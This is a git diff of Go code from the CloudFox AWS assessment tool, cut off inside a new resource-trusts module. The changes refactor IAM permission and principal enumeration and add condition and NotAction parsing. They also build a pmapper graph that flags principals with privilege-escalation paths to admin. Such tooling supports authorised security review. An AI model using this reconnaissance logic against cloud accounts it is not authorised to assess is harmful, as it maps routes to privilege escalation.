@@ -121,7 +122,7 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
m.output.Body = append(
m.output.Body,
[]string{
m.Rows[i].AWSService,
//m.Rows[i].AWSService,
m.Rows[i].Type,
m.Rows[i].Name,
//m.Rows[i].Arn,
@@ -130,16 +131,33 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
m.Rows[i].Effect,
m.Rows[i].Action,
m.Rows[i].Resource,
m.Rows[i].Condition,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector3(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s unique permissions identified.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -148,192 +166,277 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *IamPermissionsModule) getGAAD(principal string) {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
//var totalRoles int
// var attachedPolicies []types.AttachedPolicy
// var inlinePolicies []types.PolicyDetail
for {
GAAD, err := m.IAMClient.GetAccountAuthorizationDetails(
context.TODO(),
&iam.GetAccountAuthorizationDetailsInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, policy := range GAAD.Policies {
//var IAMtype = "Role"
arn := aws.ToString(policy.Arn)
name := aws.ToString(policy.PolicyName)
m.Policies = append(m.Policies, GAADPolicy{
Arn: arn,
Name: name,
PolicyVersionList: policy.PolicyVersionList,
})
}
for _, role := range GAAD.RoleDetailList {
arn := aws.ToString(role.Arn)
name := aws.ToString(role.RoleName)
if principal == "" {
m.Roles = append(m.Roles, GAADRole{
Arn: arn,
Name: name,
AttachedPolicies: role.AttachedManagedPolicies,
InlinePolicies: role.RolePolicyList,
})
} else {
if arn == principal {
m.Roles = append(m.Roles, GAADRole{
Arn: arn,
Name: name,
AttachedPolicies: role.AttachedManagedPolicies,
InlinePolicies: role.RolePolicyList,
})
}
}
}
// i think the error here is pagination!!
for _, user := range GAAD.UserDetailList {
//var IAMtype = "User"
arn := aws.ToString(user.Arn)
name := aws.ToString(user.UserName)
groupList := user.GroupList
if principal == "" {
m.Users = append(m.Users, GAADUser{
Arn: arn,
Name: name,
AttachedPolicies: user.AttachedManagedPolicies,
InlinePolicies: user.UserPolicyList,
GroupList: groupList,
})
} else {
if arn == principal {
m.Users = append(m.Users, GAADUser{
Arn: arn,
Name: name,
AttachedPolicies: user.AttachedManagedPolicies,
InlinePolicies: user.UserPolicyList,
GroupList: groupList,
})
}
}
}
for _, group := range GAAD.GroupDetailList {
arn := aws.ToString(group.Arn)
name := aws.ToString(group.GroupName)
if principal == "" {
m.Groups = append(m.Groups, GAADGroup{
Arn: arn,
Name: name,
AttachedPolicies: group.AttachedManagedPolicies,
InlinePolicies: group.GroupPolicyList,
})
} else {
if arn == principal {
m.Groups = append(m.Groups, GAADGroup{
Arn: arn,
Name: name,
AttachedPolicies: group.AttachedManagedPolicies,
InlinePolicies: group.GroupPolicyList,
})
}
}
}
// Pagination control. After the last page of output, the for loop exits.
if GAAD.Marker != nil {
PaginationControl = GAAD.Marker
} else {
PaginationControl = nil
break
}
func (m *IamPermissionsModule) getGAAD() {
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
// // if user supplied a principal name without the arn, try to create the arn
// if !strings.Contains(principal, "arn:") {
// principal = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
// }
for _, policy := range GAAD.Policies {
//var IAMtype = "Role"
arn := aws.ToString(policy.Arn)
name := aws.ToString(policy.PolicyName)
m.Policies = append(m.Policies, GAADPolicy{
Arn: arn,
Name: name,
PolicyVersionList: policy.PolicyVersionList,
})
}
for _, role := range GAAD.RoleDetailList {
arn := aws.ToString(role.Arn)
name := aws.ToString(role.RoleName)
m.Roles = append(m.Roles, GAADRole{
Arn: arn,
Name: name,
AttachedPolicies: role.AttachedManagedPolicies,
InlinePolicies: role.RolePolicyList,
})
}
for _, user := range GAAD.UserDetailList {
//var IAMtype = "User"
arn := aws.ToString(user.Arn)
name := aws.ToString(user.UserName)
groupList := user.GroupList
m.Users = append(m.Users, GAADUser{
Arn: arn,
Name: name,
AttachedPolicies: user.AttachedManagedPolicies,
InlinePolicies: user.UserPolicyList,
GroupList: groupList,
})
}
for _, group := range GAAD.GroupDetailList {
arn := aws.ToString(group.Arn)
name := aws.ToString(group.GroupName)
m.Groups = append(m.Groups, GAADGroup{
Arn: arn,
Name: name,
AttachedPolicies: group.AttachedManagedPolicies,
InlinePolicies: group.GroupPolicyList,
})
}
}
func (m *IamPermissionsModule) parsePermissions() {
// create a function that will take a principal name and try to see if it is a role, user, or group and return the arn of the principal
func (m *IamPermissionsModule) getPrincipalArn(principal string) string {
var arn string
for _, role := range m.Roles {
if role.Name == principal {
arn = role.Arn
}
}
for _, user := range m.Users {
if user.Name == principal {
arn = user.Arn
}
}
for _, group := range m.Groups {
if group.Name == principal {
arn = group.Arn
}
}
return arn
}
func (m *IamPermissionsModule) parsePermissions(principal string) {
var inputArn string
for i := range m.Roles {
if principal == "" {
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
}
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
}
} else {
// if user supplied a principal name without the arn, try to create the arn
if !strings.Contains(principal, "arn:") {
inputArn = fmt.Sprintf("arn:aws:iam::%s:role/%s", aws.ToString(m.Caller.Account), principal)
} else {
inputArn = principal
}
if strings.ToLower(m.Roles[i].Arn) == strings.ToLower(inputArn) {
for _, attachedPolicy := range m.Roles[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Roles[i].Arn, attachedPolicy, "Role", m.Roles[i].Name)
}
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
}
}
}
for _, inlinePolicy := range m.Roles[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Roles[i].Arn, inlinePolicy, "Role", m.Roles[i].Name)
}
}
for i := range m.Users {
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
if principal == "" {
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range m.Users[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
} else {
// if user supplied a principal name without the arn, try to create the arn
if !strings.Contains(principal, "arn:") {
inputArn = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
} else {
inputArn = principal
}
if strings.ToLower(m.Users[i].Arn) == strings.ToLower(inputArn) {
for _, attachedPolicy := range m.Users[i].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range m.Users[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
}
}
for _, inlinePolicy := range m.Users[i].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
for j, group := range m.Users[i].GroupList {
for _, gaadGroup := range m.Groups {
if gaadGroup.Name == group {
for _, attachedPolicy := range m.Groups[j].AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
// for each group in the user's group list, get the attached and inline policy names, and then get the permissions from those policies
for g := range m.Users[i].GroupList {
if principal == "" {
for _, group := range m.Groups {
if group.Name == m.Users[i].GroupList[g] {
for _, attachedPolicy := range group.AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range group.InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
}
for _, inlinePolicy := range m.Groups[j].InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
} else {
// if user supplied a principal name without the arn, try to create the arn
if !strings.Contains(principal, "arn:") {
inputArn = fmt.Sprintf("arn:aws:iam::%s:user/%s", aws.ToString(m.Caller.Account), principal)
} else {
inputArn = principal
}
if strings.ToLower(m.Users[i].Arn) == strings.ToLower(inputArn) {
for _, group := range m.Groups {
if group.Name == m.Users[i].GroupList[g] {
for _, attachedPolicy := range group.AttachedPolicies {
m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
}
for _, inlinePolicy := range group.InlinePolicies {
m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
}
}
}
}
}
}
// for group := range m.Users[i].GroupList {
// for _, gaadGroup := range m.Groups {
// if gaadGroup.Name == group {
// for _, attachedPolicy := range m.Groups[j].AttachedPolicies {
// m.getPermissionsFromAttachedPolicy(m.Users[i].Arn, attachedPolicy, "User", m.Users[i].Name)
// }
// for _, inlinePolicy := range m.Groups[j].InlinePolicies {
// m.getPermissionsFromInlinePolicy(m.Users[i].Arn, inlinePolicy, "User", m.Users[i].Name)
// }
// }
// }
// }
}
}
func (m *IamPermissionsModule) getPermissionsFromAttachedPolicy(arn string, attachedPolicy types.AttachedPolicy, IAMtype string, name string) {
//var policies []types.ManagedPolicyDetail
var s StatementEntry
var s policy.PolicyStatement
var AWSService = "IAM"
var hasConditions string
for _, p := range m.Policies {
if p.Name == aws.ToString(attachedPolicy.PolicyName) {
for _, d := range p.PolicyVersionList {
if d.IsDefaultVersion {
parsedPolicyDocument, _ := parsePolicyDocument(d.Document)
//parsedPolicyDocument, _ := parsePolicyDocument(d.Document)
document, _ := url.QueryUnescape(aws.ToString(d.Document))
parsedPolicyDocument, _ := policy.ParseJSONPolicy([]byte(document))
for _, s = range parsedPolicyDocument.Statement {
//version := parsedPolicyDocument.Version
effect := s.Effect
for _, action := range s.Action {
for _, resource := range s.Resource {
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Managed",
PolicyName: p.Name,
Effect: effect,
Action: action,
Resource: resource,
})
if s.Action != nil {
for _, action := range s.Action {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Managed",
PolicyName: p.Name,
Effect: effect,
Action: action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
if s.NotAction != nil {
for _, action := range s.NotAction {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Managed",
PolicyName: p.Name,
Effect: effect,
Action: "[NotAction] " + action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
}
}
}
@@ -343,66 +446,66 @@ func (m *IamPermissionsModule) getPermissionsFromAttachedPolicy(arn string, atta
func (m *IamPermissionsModule) getPermissionsFromInlinePolicy(arn string, inlinePolicy types.PolicyDetail, IAMtype string, name string) {
//var policies []types.ManagedPolicyDetail
var s StatementEntry
var s policy.PolicyStatement
var AWSService = "IAM"
var hasConditions string
//parsedPolicyDocument, _ := parsePolicyDocument(inlinePolicy.PolicyDocument)
document, _ := url.QueryUnescape(aws.ToString(inlinePolicy.PolicyDocument))
parsedPolicyDocument, _ := policy.ParseJSONPolicy([]byte(document))
parsedPolicyDocument, _ := parsePolicyDocument(inlinePolicy.PolicyDocument)
for _, s = range parsedPolicyDocument.Statement {
//version := parsedPolicyDocument.Version
effect := s.Effect
for _, action := range s.Action {
for _, resource := range s.Resource {
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Inline",
PolicyName: aws.ToString(inlinePolicy.PolicyName),
Effect: effect,
Action: action,
Resource: resource,
})
if s.Action != nil {
for _, action := range s.Action {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Inline",
PolicyName: aws.ToString(inlinePolicy.PolicyName),
Effect: effect,
Action: action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
if s.NotAction != nil {
for _, action := range s.NotAction {
for _, resource := range s.Resource {
if s.Condition != nil {
hasConditions = "Yes"
} else {
hasConditions = "No"
}
m.Rows = append(
m.Rows,
PermissionsRow{
AWSService: AWSService,
Arn: arn,
Name: name,
Type: IAMtype,
PolicyType: "Inline",
PolicyName: aws.ToString(inlinePolicy.PolicyName),
Effect: effect,
Action: "[NotAction] " + action,
Resource: resource,
Condition: hasConditions,
})
}
}
}
}
}
type policyDocument struct {
Version string `json:"Version"`
Statement []StatementEntry `json:"Statement"`
}
type StatementEntry struct {
Effect string `json:"Effect"`
Action ListOfItems `json:"Action"`
Resource ListOfItems `json:"Resource"`
Condition ListOfItems `json:"Condition"`
}
func parsePolicyDocument(doc *string) (policyDocument, error) {
document, _ := url.QueryUnescape(aws.ToString(doc))
var parsedDocumentToJSON policyDocument
_ = json.Unmarshal([]byte(document), &parsedDocumentToJSON)
return parsedDocumentToJSON, nil
}
// A custom unmarshaller is necessary because the list of principals can be an array of strings or a string.
// https://stackoverflow.com/questions/65854778/parsing-arn-from-iam-policy-using-regex
type ListOfItems []string
func (r *ListOfItems) UnmarshalJSON(b []byte) error {
var s string
if err := json.Unmarshal(b, &s); err == nil {
*r = append(*r, s)
return nil
}
var ss []string
if err := json.Unmarshal(b, &ss); err == nil {
*r = ss
return nil
}
return errors.New("cannot unmarshal neither to a string nor a slice of strings")
}
+49 -15
View File
@@ -71,16 +71,7 @@ func (m *PmapperModule) initPmapperGraph() error {
return err
}
m.pmapperGraph = graph.New(graph.StringHash, graph.Directed())
for _, node := range m.Nodes {
_ = m.pmapperGraph.AddVertex(node.Arn)
}
for _, edge := range m.Edges {
_ = m.pmapperGraph.AddEdge(edge.Source, edge.Destination)
}
m.pmapperGraph = m.createAndPopulateGraph()
for i := range m.Nodes {
if m.doesNodeHavePathToAdmin(m.Nodes[i]) {
@@ -89,12 +80,38 @@ func (m *PmapperModule) initPmapperGraph() error {
} else {
m.Nodes[i].PathToAdmin = false
}
}
return nil
}
func (m *PmapperModule) createAndPopulateGraph() graph.Graph[string, string] {
pmapperGraph := graph.New(graph.StringHash, graph.Directed())
// having issues with caching the graph. will have to swing back and try again later
// gob.Register(pmapperGraph)
// cacheKey := fmt.Sprintf("%s-pmapperGraph", aws.ToString(m.Caller.Account))
// cached, found := internal.Cache.Get(cacheKey)
// if found {
// return cached.(graph.Graph[string, string])
// }
for _, node := range m.Nodes {
_ = pmapperGraph.AddVertex(node.Arn)
}
for _, edge := range m.Edges {
_ = pmapperGraph.AddEdge(edge.Source, edge.Destination)
}
//internal.Cache.Set(cacheKey, pmapperGraph, cache.DefaultExpiration)
return pmapperGraph
}
func (m *PmapperModule) DoesPrincipalHavePathToAdmin(principal string) bool {
for i := range m.Nodes {
if m.Nodes[i].Arn == principal {
@@ -131,11 +148,12 @@ func (m *PmapperModule) PrintPmapperData(outputFormat string, outputDirectory st
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
pmapperError := m.initPmapperGraph()
if pmapperError != nil {
fmt.Printf("[%s][%s] No pmapper data found for this account. \n\t\t\t1. Generate pmapper data by running `pmapper --profile %s graph create`\n\t\t\t2. After that completes, this cloudfox command and others will attempt to find and use the pmapper graph data in this and other cloudfox commands\n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
fmt.Printf("[%s][%s] No pmapper data found for this account. \n\t\t\t1. Generate pmapper data by running `pmapper --profile %s graph create`\n\t\t\t2. After that completes, cloudfox will attempt to enrich this command and others with pmapper privesc data\n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
fmt.Printf("[%s][%s] For more info and troubleshooting steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
m.modLog.Error(pmapperError)
return
@@ -177,9 +195,25 @@ func (m *PmapperModule) PrintPmapperData(outputFormat string, outputDirectory st
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s principals who are admin or have a path to admin identified.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
+61 -82
View File
@@ -1,21 +1,20 @@
package aws
import (
"context"
"fmt"
"path/filepath"
"strconv"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type IamPrincipalsModule struct {
// General configuration data
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
@@ -87,8 +86,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputFormat string, outputDire
// done <- true
// <-done
m.getIAMUsers()
m.getIAMRoles()
m.addIAMUsersToTable()
m.addIAMRolesToTable()
//fmt.Printf("\nAnalyzed Resources by Region\n\n")
@@ -135,10 +134,26 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputFormat string, outputDire
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s IAM principals found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -160,100 +175,64 @@ func (m *IamPrincipalsModule) executeChecks(wg *sync.WaitGroup) {
}
*/
func (m *IamPrincipalsModule) getIAMUsers() {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
func (m *IamPrincipalsModule) addIAMUsersToTable() {
var AWSService = "IAM"
var IAMtype = "User"
var attachedPolicies []string
var inlinePolicies []string
for {
ListUsers, err := m.IAMClient.ListUsers(
context.TODO(),
&iam.ListUsersInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for _, user := range ListUsers.Users {
arn := user.Arn
name := user.UserName
for _, user := range ListUsers {
arn := user.Arn
name := user.UserName
m.Users = append(
m.Users,
User{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
// Pagination control. After the last page of output, the for loop exits.
if ListUsers.Marker != nil {
PaginationControl = ListUsers.Marker
} else {
PaginationControl = nil
break
}
m.Users = append(
m.Users,
User{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
}
func (m *IamPrincipalsModule) getIAMRoles() {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
func (m *IamPrincipalsModule) addIAMRolesToTable() {
//var totalRoles int
var AWSService = "IAM"
var IAMtype = "Role"
var attachedPolicies []string
var inlinePolicies []string
for {
ListRoles, err := m.IAMClient.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationControl,
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, role := range ListRoles.Roles {
arn := role.Arn
name := role.RoleName
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
m.Roles = append(
m.Roles,
Role{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
for _, role := range ListRoles {
arn := role.Arn
name := role.RoleName
// Pagination control. After the last page of output, the for loop exits.
if ListRoles.Marker != nil {
PaginationControl = ListRoles.Marker
} else {
PaginationControl = nil
//fmt.Printf("IAM Roles: %d\n\n", totalRoles)
break
}
m.Roles = append(
m.Roles,
Role{
AWSService: AWSService,
Arn: aws.ToString(arn),
Name: aws.ToString(name),
Type: IAMtype,
AttachedPolicies: attachedPolicies,
InlinePolicies: inlinePolicies,
})
}
}
+19 -3
View File
@@ -115,10 +115,26 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s resources found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No resources found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -129,7 +145,7 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan Resource) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ram", r)
if err != nil {
+739
View File
@@ -0,0 +1,739 @@
package aws
import (
"fmt"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type ResourceTrustsModule struct {
// General configuration data
Caller sts.GetCallerIdentityOutput
AWSRegions []string
Goroutines int
WrapTable bool
AWSProfile string
CloudFoxVersion string
Resources2 []Resource2
CommandCounter internal.CommandCounter
output internal.OutputData2
modLog *logrus.Entry
}
type Resource2 struct {
AccountID string
Name string
ARN string
Region string
Policy policy.Policy
PolicyJSON string
ResourcePolicySummary string
Public string
Interesting string
}
func (m *ResourceTrustsModule) PrintResources(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "resource-trusts"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
